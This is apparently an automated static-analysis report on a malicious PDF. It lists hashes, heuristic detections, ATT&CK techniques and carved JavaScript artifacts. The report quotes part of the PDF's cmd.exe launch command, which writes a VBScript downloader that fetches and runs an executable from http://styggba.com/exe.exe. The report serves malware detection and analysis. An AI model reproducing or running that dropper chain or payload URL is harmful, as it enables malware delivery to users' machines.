Malicious PDF — malware analysis report

Static analysis result for SHA-256 bf03a003f3b2586c…

MALICIOUS

PDF

3.3 KB
MD5: 91baa9aafb8b52a4ba76d268b4f676b2 SHA-1: a0d3f300615a3ae80b4e6343c32c2138f464a5f9 SHA-256: bf03a003f3b2586caa0a83d1ab22c8b29b7fc45d1c5cb927efe3ca5c5def76be
498 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1071.001 Web Protocols

The PDF contains embedded JavaScript that utilizes `eval` and `unescape` functions, indicative of obfuscation and exploit attempts. The critical PDF heuristics confirm a JavaScript exploit cluster and a launch action targeting `cmd.exe`. The embedded script explicitly constructs a VBScript to download a second-stage executable from `http://styggba.com/exe.exe` using `MSXML2.XMLHTTP` and `WScript.Shell`, establishing a clear download-and-execute attack pattern. This is further supported by the `SE_LOLBIN_RUN_COMMAND` heuristic.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Adobe Reader Launch action VBS dropper command chain critical CVE likely CVE_2010_1240_LAUNCH_VBS_DROPPER
    PDF uses a CVE-2010-1240-style Launch action: cmd.exe is invoked from /Launch and builds a VBS stage that uses ADODB.Stream, MSXML2.XMLHTTP, or FileSystemObject to write or execute a payload.
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo strFileURL = "http://styggba.com/exe.exe" > vbs1.vbs && echo strHDLocation = "exe.exe" >> vbs1.vbs && echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • eval() call high PDF_EVAL
    eval() found — commonly used for obfuscated exploit execution (matched inside decoded stream)
  • unescape() call high PDF_UNESCAPE
    unescape() found — often used to decode shellcode in PDF JS exploits (matched inside decoded stream)
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • PDF JavaScript WScript downloader high PDF_JS_WSCRIPT_DOWNLOADER
    Decoded PDF JavaScript reconstructs a Windows Script Host COM downloader using WScript.CreateObject plus XMLHTTP/ADODB.Stream style download, write, and run behavior. This is commodity payload delivery rather than a specific PDF parser CVE trigger.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • JavaScript action low PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • String.fromCharCode low PDF_FROMCHARCODE
    String.fromCharCode found — used to construct payload strings dynamically. Common in benign JavaScript libraries for codepoint manipulation, so this alone is informational; weaponised use is also caught by the dedicated fromCharCode-stage and exploit-shape rules. (matched inside decoded stream)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://styggba.com/exe.exe

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js
9864171cc4152f5d3e5671809dd40cebe1cf9319d0b8bfb0abd003cff50482db
pdf-javascript-stream PDF /JS object 111611 at offset 0x771 332 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
embedded_pdf_script_0000091f.bin
ed677536d4cefd6599612a48290a9eddd4889322271b55f0f5dc878d06a817b4
pdf-embedded-script PDF decompressed stream script payload at offset 0x91F 161 bytes